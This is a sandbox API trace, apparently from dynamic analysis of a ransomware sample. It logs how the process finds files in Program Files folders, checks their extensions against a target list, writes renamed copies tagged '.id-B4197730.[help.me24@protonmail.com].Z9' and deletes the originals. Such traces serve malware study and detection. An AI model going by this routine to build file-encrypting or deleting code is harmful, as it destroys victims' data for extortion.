	[0189.002] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2526) returned 1
	[0189.002] CloseHandle (hObject=0x370) returned 1
	[0189.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20
	[0189.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.003] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.003] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2522) returned 1
	[0189.003] CloseHandle (hObject=0x370) returned 1
	[0189.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20
	[0189.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.004] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.004] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2568) returned 1
	[0189.004] CloseHandle (hObject=0x370) returned 1
	[0189.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20
	[0189.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.005] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.005] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2626) returned 1
	[0189.005] CloseHandle (hObject=0x370) returned 1
	[0189.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20
	[0189.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.005] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.006] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2580) returned 1
	[0189.006] CloseHandle (hObject=0x370) returned 1
	[0189.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20
	[0189.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.006] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.007] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2600) returned 1
	[0189.007] CloseHandle (hObject=0x370) returned 1
	[0189.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20
	[0189.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.008] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.008] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2246) returned 1
	[0189.008] CloseHandle (hObject=0x370) returned 1
	[0189.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20
	[0189.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.009] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.009] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2240) returned 1
	[0189.009] CloseHandle (hObject=0x370) returned 1
	[0189.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20
	[0189.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.009] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.010] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2644) returned 1
	[0189.010] CloseHandle (hObject=0x370) returned 1
	[0189.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20
	[0189.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.010] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.011] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2542) returned 1
	[0189.011] CloseHandle (hObject=0x370) returned 1
	[0189.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20
	[0189.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.393] Sleep (dwMilliseconds=0x64) 
	[0189.727] Sleep (dwMilliseconds=0x64) 
	[0190.576] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0190.576] lstrlenW (lpString="J0099153.WMF") returned 12
	[0190.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0190.576] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=13874) returned 1
	[0190.577] CloseHandle (hObject=0x374) returned 1
	[0190.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220
	[0190.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0190.577] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.577] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0190.578] GetLastError () returned 0x0
	[0190.578] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x3632, lpOverlapped=0x0) returned 1
	[0190.593] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0x3640, lpOverlapped=0x0) returned 1
	[0190.595] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.595] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.595] SetEndOfFile (hFile=0x378) returned 1
	[0190.595] CloseHandle (hObject=0x378) returned 1
	[0190.595] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.595] SetEndOfFile (hFile=0x374) returned 1
	[0190.596] CloseHandle (hObject=0x374) returned 1
	[0190.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0190.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1
	[0190.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0190.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0190.597] lstrlenW (lpString=".doc") returned 4
	[0190.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.597] lstrlenW (lpString=".docx") returned 5
	[0190.597] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0190.597] lstrlenW (lpString=".pdf") returned 4
	[0190.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.597] lstrlenW (lpString=".xls") returned 4
	[0190.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.597] lstrlenW (lpString=".xlsx") returned 5
	[0190.597] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0190.597] lstrlenW (lpString=".ppt") returned 4
	[0190.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0190.597] lstrlenW (lpString=".zip") returned 4
	[0190.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.597] lstrlenW (lpString=".rar") returned 4
	[0190.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.598] lstrlenW (lpString=".bz2") returned 4
	[0190.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.598] lstrlenW (lpString=".7z") returned 3
	[0190.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0190.598] lstrlenW (lpString=".dbf") returned 4
	[0190.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0190.598] lstrlenW (lpString=".1cd") returned 4
	[0190.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0190.598] lstrlenW (lpString=".jpg") returned 4
	[0190.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0190.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0190.598] lstrlenW (lpString=".doc") returned 4
	[0190.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.598] lstrlenW (lpString=".docx") returned 5
	[0190.598] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0190.598] lstrlenW (lpString=".pdf") returned 4
	[0190.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.598] lstrlenW (lpString=".xls") returned 4
	[0190.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.598] lstrlenW (lpString=".xlsx") returned 5
	[0190.598] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0190.598] lstrlenW (lpString=".ppt") returned 4
	[0190.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0190.598] lstrlenW (lpString=".zip") returned 4
	[0190.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.598] lstrlenW (lpString=".rar") returned 4
	[0190.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.598] lstrlenW (lpString=".bz2") returned 4
	[0190.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.598] lstrlenW (lpString=".7z") returned 3
	[0190.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0190.599] lstrlenW (lpString=".dbf") returned 4
	[0190.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0190.599] lstrlenW (lpString=".1cd") returned 4
	[0190.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0190.599] lstrlenW (lpString=".jpg") returned 4
	[0190.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.599] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0190.599] lstrlenW (lpString="J0099154.JPG") returned 12
	[0190.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0190.599] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=6929) returned 1
	[0190.599] CloseHandle (hObject=0x374) returned 1
	[0190.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220
	[0190.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0190.600] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.600] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0190.601] GetLastError () returned 0x0
	[0190.601] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x1b11, lpOverlapped=0x0) returned 1
	[0190.602] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0190.603] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.603] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.604] SetEndOfFile (hFile=0x378) returned 1
	[0190.604] CloseHandle (hObject=0x378) returned 1
	[0190.605] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.605] SetEndOfFile (hFile=0x374) returned 1
	[0190.606] CloseHandle (hObject=0x374) returned 1
	[0190.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0190.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1
